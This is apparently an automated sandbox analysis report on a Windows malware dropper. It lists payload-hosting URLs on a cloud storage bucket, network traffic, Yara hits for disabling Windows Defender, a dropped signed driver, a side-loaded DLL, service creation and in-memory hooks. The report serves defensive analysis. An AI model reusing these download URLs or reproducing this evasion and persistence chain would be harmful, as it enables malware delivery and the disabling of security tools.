Source: 287438657364-7643738421.08.exe, 00000000.00000003.2278120650.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2279104627.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2278414521.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2278348554.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2279016189.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2278322116.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, O8xg2t.exe.0.dr	String found in binary or memory: https://d.symcb.com/rpa0.
Source: 287438657364-7643738421.08.exe, 00000000.00000003.2259204008.00000000004D2000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2278187746.00000000004E0000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2259204008.00000000004E0000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2260272882.0000000000525000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://jylhok.oss-cn-beijing.aliyuncs.com/
Source: 287438657364-7643738421.08.exe, 00000000.00000003.2318710257.00000000004F6000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2278187746.00000000004FA000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2260272882.0000000000500000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2259204008.00000000004FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://jylhok.oss-cn-beijing.aliyuncs.com/7-2476756634-1003
Source: 287438657364-7643738421.08.exe, 00000000.00000003.2259204008.00000000004E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://jylhok.oss-cn-beijing.aliyuncs.com/C
Source: 287438657364-7643738421.08.exe, 00000000.00000003.2318710257.0000000000525000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://jylhok.oss-cn-beijing.aliyuncs.com/Vm
Source: 287438657364-7643738421.08.exe, 00000000.00000003.2278187746.0000000000525000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2318710257.0000000000525000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://jylhok.oss-cn-beijing.aliyuncs.com/Zm
Source: 287438657364-7643738421.08.exe, 00000000.00000003.2259204008.0000000000525000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2278187746.00000000004D0000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2318798939.00000000004D0000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2278187746.0000000000525000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2318710257.0000000000525000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2259204008.00000000004D2000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2260272882.0000000000525000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://jylhok.oss-cn-beijing.aliyuncs.com/a.gif
Source: 287438657364-7643738421.08.exe, 00000000.00000003.2259204008.0000000000525000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2278187746.0000000000525000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2318710257.0000000000525000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2260272882.0000000000525000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://jylhok.oss-cn-beijing.aliyuncs.com/a.gifW
Source: 287438657364-7643738421.08.exe, 00000000.00000003.2278187746.00000000004D0000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2318798939.00000000004D0000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2259204008.00000000004D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://jylhok.oss-cn-beijing.aliyuncs.com/a.giff
Source: 287438657364-7643738421.08.exe, 00000000.00000003.2259204008.0000000000525000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2278187746.0000000000525000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2318710257.0000000000525000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2260272882.0000000000525000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://jylhok.oss-cn-beijing.aliyuncs.com/a.gifhttps://jylhok.oss-cn-beijing.aliyuncs.com/b.gifhttp
Source: 287438657364-7643738421.08.exe, 00000000.00000003.2318710257.00000000004F6000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2259204008.0000000000525000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2278187746.00000000004D0000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2318798939.00000000004D0000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2278187746.0000000000525000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2278187746.00000000004FA000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2318710257.0000000000525000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2260272882.0000000000525000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://jylhok.oss-cn-beijing.aliyuncs.com/b.gif
Source: 287438657364-7643738421.08.exe, 00000000.00000003.2278187746.0000000000525000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://jylhok.oss-cn-beijing.aliyuncs.com/b.gifents
Source: 287438657364-7643738421.08.exe, 00000000.00000003.2278187746.0000000000525000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2318710257.0000000000525000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://jylhok.oss-cn-beijing.aliyuncs.com/b.gifk
Source: 287438657364-7643738421.08.exe, 00000000.00000003.2318710257.00000000004F6000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2260272882.0000000000500000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2259204008.00000000004FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://jylhok.oss-cn-beijing.aliyuncs.com/beijing.aliyuncs.com/
Source: 287438657364-7643738421.08.exe, 00000000.00000003.2318710257.0000000000525000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2260272882.0000000000525000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://jylhok.oss-cn-beijing.aliyuncs.com/c.gif
Source: 287438657364-7643738421.08.exe, 00000000.00000003.2318710257.0000000000525000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://jylhok.oss-cn-beijing.aliyuncs.com/c.gif6
Source: 287438657364-7643738421.08.exe, 00000000.00000003.2259204008.0000000000525000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2318798939.00000000004D0000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2278187746.0000000000525000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2318710257.0000000000525000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2260272882.0000000000525000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://jylhok.oss-cn-beijing.aliyuncs.com/d.gif
Source: 287438657364-7643738421.08.exe, 00000000.00000003.2318798939.00000000004D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://jylhok.oss-cn-beijing.aliyuncs.com/d.gifta
Source: 287438657364-7643738421.08.exe, 00000000.00000003.2318798939.00000000004D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://jylhok.oss-cn-beijing.aliyuncs.com/d.gifws
Source: 287438657364-7643738421.08.exe, 00000000.00000003.2259204008.00000000004D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://jylhok.oss-cn-beijing.aliyuncs.com/i.dat
Source: 287438657364-7643738421.08.exe, 00000000.00000003.2259204008.00000000004D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://jylhok.oss-cn-beijing.aliyuncs.com/i.datta
Source: 287438657364-7643738421.08.exe, 00000000.00000003.2278187746.00000000004E0000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2259204008.00000000004E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://jylhok.oss-cn-beijing.aliyuncs.com/q
Source: 287438657364-7643738421.08.exe, 00000000.00000003.2259204008.00000000004E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://jylhok.oss-cn-beijing.aliyuncs.com/w
Source: 189atohci.sys.0.dr	String found in binary or memory: https://www.digicert.com/CPS0

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712

Source: unknown

HTTPS traffic detected: 39.103.20.48:443 -> 192.168.2.8:49708 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: 9.2.O8xg2t.exe.2900000.1.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing artifcats associated with disabling Widnows Defender Author: ditekSHen
Source: 7.2.O8xg2t.exe.27d0000.1.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing artifcats associated with disabling Widnows Defender Author: ditekSHen
Source: 6.2.O8xg2t.exe.2750000.1.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing artifcats associated with disabling Widnows Defender Author: ditekSHen

Source: C:\Users\user\Documents\O8xg2t.exe	Code function: 6_2_0000000140006C95 NtAllocateVirtualMemory,		6_2_0000000140006C95
Source: C:\Users\user\Documents\O8xg2t.exe	Code function: 9_2_0000000140006C95 NtAllocateVirtualMemory,		9_2_0000000140006C95

Source: C:\Users\user\Documents\O8xg2t.exe

Code function: 6_2_0000000140001520 OpenSCManagerW,GetLastError,OpenServiceW,GetLastError,CloseServiceHandle,DeleteService,GetLastError,CloseServiceHandle,CloseServiceHandle,StartServiceCtrlDispatcherW,

6_2_0000000140001520

Source: C:\Users\user\Desktop\287438657364-7643738421.08.exe

File created: C:\Windows\System32\drivers\189atohci.sys

Jump to behavior

Source: C:\Users\user\Desktop\287438657364-7643738421.08.exe

File created: C:\Windows\System32\drivers\189atohci.sys

Jump to behavior

Source: C:\Users\user\Desktop\287438657364-7643738421.08.exe

File created: C:\Windows\System32\drivers\189atohci.sys

Jump to behavior

Source: C:\Users\user\Documents\O8xg2t.exe	Code function: 6_2_000000014000C3F0	6_2_000000014000C3F0
Source: C:\Users\user\Documents\O8xg2t.exe	Code function: 6_2_000000014000CC00	6_2_000000014000CC00
Source: C:\Users\user\Documents\O8xg2t.exe	Code function: 6_2_0000000140001A30	6_2_0000000140001A30
Source: C:\Users\user\Documents\O8xg2t.exe	Code function: 6_2_000000014000C2A0	6_2_000000014000C2A0
Source: C:\Users\user\Documents\O8xg2t.exe	Code function: 6_2_00000001400022C0	6_2_00000001400022C0
Source: C:\Users\user\Documents\O8xg2t.exe	Code function: 6_2_00000001400110F0	6_2_00000001400110F0
Source: C:\Users\user\Documents\O8xg2t.exe	Code function: 6_2_0000000140010CF0	6_2_0000000140010CF0
Source: C:\Users\user\Documents\O8xg2t.exe	Code function: 6_2_0000000140009300	6_2_0000000140009300
Source: C:\Users\user\Documents\O8xg2t.exe	Code function: 6_2_000000014000BB70	6_2_000000014000BB70
Source: C:\Users\user\Documents\O8xg2t.exe	Code function: 6_2_0000000140003F80	6_2_0000000140003F80
Source: C:\Users\user\Documents\O8xg2t.exe	Code function: 6_2_00000001400103D0	6_2_00000001400103D0
Source: C:\Users\user\Documents\O8xg2t.exe	Code function: 6_2_00007FFBC320A1B8	6_2_00007FFBC320A1B8
Source: C:\Users\user\Documents\O8xg2t.exe	Code function: 6_2_00007FFBC3210248	6_2_00007FFBC3210248
Source: C:\Users\user\Documents\O8xg2t.exe	Code function: 9_2_000000014000C3F0	9_2_000000014000C3F0
Source: C:\Users\user\Documents\O8xg2t.exe	Code function: 9_2_000000014000CC00	9_2_000000014000CC00
Source: C:\Users\user\Documents\O8xg2t.exe	Code function: 9_2_0000000140001A30	9_2_0000000140001A30
Source: C:\Users\user\Documents\O8xg2t.exe	Code function: 9_2_000000014000C2A0	9_2_000000014000C2A0
Source: C:\Users\user\Documents\O8xg2t.exe	Code function: 9_2_00000001400022C0	9_2_00000001400022C0
Source: C:\Users\user\Documents\O8xg2t.exe	Code function: 9_2_00000001400110F0	9_2_00000001400110F0
Source: C:\Users\user\Documents\O8xg2t.exe	Code function: 9_2_0000000140010CF0	9_2_0000000140010CF0
Source: C:\Users\user\Documents\O8xg2t.exe	Code function: 9_2_0000000140009300	9_2_0000000140009300
Source: C:\Users\user\Documents\O8xg2t.exe	Code function: 9_2_000000014000BB70	9_2_000000014000BB70
Source: C:\Users\user\Documents\O8xg2t.exe	Code function: 9_2_0000000140003F80	9_2_0000000140003F80
Source: C:\Users\user\Documents\O8xg2t.exe	Code function: 9_2_00000001400103D0	9_2_00000001400103D0
Source: C:\Users\user\Documents\O8xg2t.exe	Code function: 9_2_00007FFBC1BB0248	9_2_00007FFBC1BB0248
Source: C:\Users\user\Documents\O8xg2t.exe	Code function: 9_2_00007FFBC1BAA1B8	9_2_00007FFBC1BAA1B8

Source: Joe Sandbox View

Dropped File: C:\Users\user\Documents\O8xg2t.exe D2537DC4944653EFCD48DE73961034CFD64FB7C8E1BA631A88BBA62CCCC11948

Source: C:\Users\user\Documents\O8xg2t.exe	Code function: String function: 0000000140006A65 appears 56 times
Source: C:\Users\user\Documents\O8xg2t.exe	Code function: String function: 0000000140004F10 appears 46 times

Source: 287438657364-7643738421.08.exe, 00000000.00000003.2278120650.00000000049E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamevseamps.exe, vs 287438657364-7643738421.08.exe
Source: 287438657364-7643738421.08.exe, 00000000.00000003.2279104627.00000000049E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamevseamps.exe, vs 287438657364-7643738421.08.exe
Source: 287438657364-7643738421.08.exe, 00000000.00000003.2278414521.00000000049E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamevseamps.exe, vs 287438657364-7643738421.08.exe
Source: 287438657364-7643738421.08.exe, 00000000.00000003.2278348554.00000000049E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamevseamps.exe, vs 287438657364-7643738421.08.exe
Source: 287438657364-7643738421.08.exe, 00000000.00000003.2279016189.00000000049E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamevseamps.exe, vs 287438657364-7643738421.08.exe
Source: 287438657364-7643738421.08.exe, 00000000.00000003.2278322116.00000000049E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamevseamps.exe, vs 287438657364-7643738421.08.exe

Source: 9.2.O8xg2t.exe.2900000.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_DisableWinDefender author = ditekSHen, description = Detects executables containing artifcats associated with disabling Widnows Defender
Source: 7.2.O8xg2t.exe.27d0000.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_DisableWinDefender author = ditekSHen, description = Detects executables containing artifcats associated with disabling Widnows Defender
Source: 6.2.O8xg2t.exe.2750000.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_DisableWinDefender author = ditekSHen, description = Detects executables containing artifcats associated with disabling Widnows Defender

Source: 189atohci.sys.0.dr	Binary string: \Device\Driver\
Source: 189atohci.sys.0.dr	Binary string: \Device\TrueSight

Source: classification engine

Classification label: mal80.evad.winEXE@4/12@1/1

Source: C:\Users\user\Documents\O8xg2t.exe	Code function: 6_2_0000000140003F80 InitializeCriticalSection,#4,#4,GetCurrentProcess,OpenProcessToken,GetLastError,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,CloseHandle,EnterCriticalSection,LeaveCriticalSection,GetVersionExW,RpcSsDontSerializeContext,RpcServerUseProtseqEpW,RpcServerRegisterIfEx,RpcServerListen,CreateWaitableTimerW,CreateEventW,SetWaitableTimer,		6_2_0000000140003F80
Source: C:\Users\user\Documents\O8xg2t.exe	Code function: 9_2_0000000140003F80 InitializeCriticalSection,#4,#4,GetCurrentProcess,OpenProcessToken,GetLastError,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,CloseHandle,EnterCriticalSection,LeaveCriticalSection,GetVersionExW,RpcSsDontSerializeContext,RpcServerUseProtseqEpW,RpcServerRegisterIfEx,RpcServerListen,CreateWaitableTimerW,CreateEventW,SetWaitableTimer,		9_2_0000000140003F80

Source: C:\Users\user\Documents\O8xg2t.exe	Code function: GetModuleFileNameW,OpenSCManagerW,GetLastError,CreateServiceW,CloseServiceHandle,GetLastError,CloseServiceHandle,		6_2_0000000140001430
Source: C:\Users\user\Documents\O8xg2t.exe	Code function: GetModuleFileNameW,OpenSCManagerW,GetLastError,CreateServiceW,CloseServiceHandle,GetLastError,CloseServiceHandle,		9_2_0000000140001430

Source: C:\Users\user\Documents\O8xg2t.exe

6_2_0000000140001520

Source: C:\Users\user\Documents\O8xg2t.exe	Code function: 6_2_0000000140001520 OpenSCManagerW,GetLastError,OpenServiceW,GetLastError,CloseServiceHandle,DeleteService,GetLastError,CloseServiceHandle,CloseServiceHandle,StartServiceCtrlDispatcherW,		6_2_0000000140001520
Source: C:\Users\user\Documents\O8xg2t.exe	Code function: 9_2_0000000140001520 OpenSCManagerW,GetLastError,OpenServiceW,GetLastError,CloseServiceHandle,DeleteService,GetLastError,CloseServiceHandle,CloseServiceHandle,StartServiceCtrlDispatcherW,		9_2_0000000140001520

Source: C:\Users\user\Desktop\287438657364-7643738421.08.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\i[1].dat

Jump to behavior

Source: C:\Users\user\Desktop\287438657364-7643738421.08.exe	Mutant created: \Sessions\1\BaseNamedObjects\26f3475fc22
Source: C:\Users\user\Documents\O8xg2t.exe	Mutant created: \Sessions\1\BaseNamedObjects\48c47662941

Source: 287438657364-7643738421.08.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\287438657364-7643738421.08.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 287438657364-7643738421.08.exe

Virustotal: Detection: 11%

Source: C:\Users\user\Desktop\287438657364-7643738421.08.exe

File read: C:\Users\user\Desktop\287438657364-7643738421.08.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\287438657364-7643738421.08.exe "C:\Users\user\Desktop\287438657364-7643738421.08.exe"
Source: unknown	Process created: C:\Users\user\Documents\O8xg2t.exe C:\Users\user\Documents\O8xg2t.exe
Source: unknown	Process created: C:\Users\user\Documents\O8xg2t.exe C:\Users\user\Documents\O8xg2t.exe
Source: unknown	Process created: C:\Users\user\Documents\O8xg2t.exe C:\Users\user\Documents\O8xg2t.exe

Source: C:\Users\user\Desktop\287438657364-7643738421.08.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\287438657364-7643738421.08.exe	Section loaded: pid.dll	Jump to behavior
Source: C:\Users\user\Desktop\287438657364-7643738421.08.exe	Section loaded: hid.dll	Jump to behavior
Source: C:\Users\user\Desktop\287438657364-7643738421.08.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\287438657364-7643738421.08.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\287438657364-7643738421.08.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\287438657364-7643738421.08.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\287438657364-7643738421.08.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\287438657364-7643738421.08.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\287438657364-7643738421.08.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\287438657364-7643738421.08.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\287438657364-7643738421.08.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\287438657364-7643738421.08.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\287438657364-7643738421.08.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\287438657364-7643738421.08.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\287438657364-7643738421.08.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\287438657364-7643738421.08.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\287438657364-7643738421.08.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\287438657364-7643738421.08.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\287438657364-7643738421.08.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\287438657364-7643738421.08.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\287438657364-7643738421.08.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\287438657364-7643738421.08.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\287438657364-7643738421.08.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\287438657364-7643738421.08.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\287438657364-7643738421.08.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\287438657364-7643738421.08.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\287438657364-7643738421.08.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\287438657364-7643738421.08.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\287438657364-7643738421.08.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\287438657364-7643738421.08.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\287438657364-7643738421.08.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\287438657364-7643738421.08.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Users\user\Desktop\287438657364-7643738421.08.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Users\user\Desktop\287438657364-7643738421.08.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Users\user\Documents\O8xg2t.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\O8xg2t.exe	Section loaded: vselog.dll	Jump to behavior
Source: C:\Users\user\Documents\O8xg2t.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Documents\O8xg2t.exe	Section loaded: vselog.dll	Jump to behavior
Source: C:\Users\user\Documents\O8xg2t.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Documents\O8xg2t.exe	Section loaded: vselog.dll	Jump to behavior
Source: C:\Users\user\Documents\O8xg2t.exe	Section loaded: wininet.dll	Jump to behavior

Source: C:\Users\user\Desktop\287438657364-7643738421.08.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: 287438657364-7643738421.08.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: 287438657364-7643738421.08.exe

Static file information: File size 30886912 > 1048576

Source: 287438657364-7643738421.08.exe

Static PE information: Raw size of .data is bigger than: 0x100000 < 0x1d58c00

Source: 287438657364-7643738421.08.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: F:\Development\GS-DES\DES10.0\HKPROC\bin\x64\UnicodeRelease\HkApp.x64.pdb source: 287438657364-7643738421.08.exe
Source:	Binary string: c:\tools_git_priv\truesight\driver\objfre_win7_amd64\amd64\TrueSight.pdb source: 189atohci.sys.0.dr
Source:	Binary string: y:\avsdk5\engine\make\build\public\64-bit\vseamps.pdb source: 287438657364-7643738421.08.exe, 00000000.00000003.2278120650.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2279104627.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2278414521.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2278348554.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2279016189.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2278322116.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, O8xg2t.exe, 00000006.00000002.2421012872.0000000140014000.00000002.00000001.01000000.00000008.sdmp, O8xg2t.exe, 00000006.00000000.2411129760.0000000140014000.00000002.00000001.01000000.00000008.sdmp, O8xg2t.exe, 00000007.00000002.2431285508.0000000140014000.00000002.00000001.01000000.00000008.sdmp, O8xg2t.exe, 00000007.00000000.2425791156.0000000140014000.00000002.00000001.01000000.00000008.sdmp, O8xg2t.exe, 00000009.00000000.2540851216.0000000140014000.00000002.00000001.01000000.00000008.sdmp, O8xg2t.exe, 00000009.00000002.2641372093.0000000140014000.00000002.00000001.01000000.00000008.sdmp, O8xg2t.exe.0.dr

Source: C:\Users\user\Documents\O8xg2t.exe

Code function: 6_2_000000014000F000 LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

6_2_000000014000F000

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\Desktop\287438657364-7643738421.08.exe	File created: C:\Users\user\Documents\O8xg2t.exe			Jump to dropped file
Source: C:\Users\user\Desktop\287438657364-7643738421.08.exe	File created: C:\Users\user\Documents\vselog.dll			Jump to dropped file

Sample is not signed and drops a device driver

Source: C:\Users\user\Desktop\287438657364-7643738421.08.exe

File created: C:\Windows\System32\drivers\189atohci.sys

Jump to behavior

Source: C:\Users\user\Desktop\287438657364-7643738421.08.exe	File created: C:\Windows\System32\drivers\189atohci.sys	Jump to dropped file
Source: C:\Users\user\Desktop\287438657364-7643738421.08.exe	File created: C:\Users\user\Documents\O8xg2t.exe	Jump to dropped file
Source: C:\Users\user\Desktop\287438657364-7643738421.08.exe	File created: C:\Users\user\Documents\vselog.dll	Jump to dropped file

Source: C:\Users\user\Desktop\287438657364-7643738421.08.exe

File created: C:\Windows\System32\drivers\189atohci.sys

Jump to dropped file

Source: C:\Users\user\Documents\O8xg2t.exe

6_2_0000000140001520

Hooking and other Techniques for Hiding and Protection

Overwrites code with unconditional jumps - possibly settings hooks in foreign process

Source: C:\Users\user\Documents\O8xg2t.exe	Memory written: PID: 3396 base: 7FFBCB910008 value: E9 EB D9 E9 FF	Jump to behavior
Source: C:\Users\user\Documents\O8xg2t.exe	Memory written: PID: 3396 base: 7FFBCB7AD9F0 value: E9 20 26 16 00	Jump to behavior
Source: C:\Users\user\Documents\O8xg2t.exe	Memory written: PID: 6880 base: 7FFBCB910008 value: E9 EB D9 E9 FF	Jump to behavior
Source: C:\Users\user\Documents\O8xg2t.exe	Memory written: PID: 6880 base: 7FFBCB7AD9F0 value: E9 20 26 16 00	Jump to behavior
Source: C:\Users\user\Documents\O8xg2t.exe	Memory written: PID: 6504 base: 7FFBCB910008 value: E9 EB D9 E9 FF	Jump to behavior
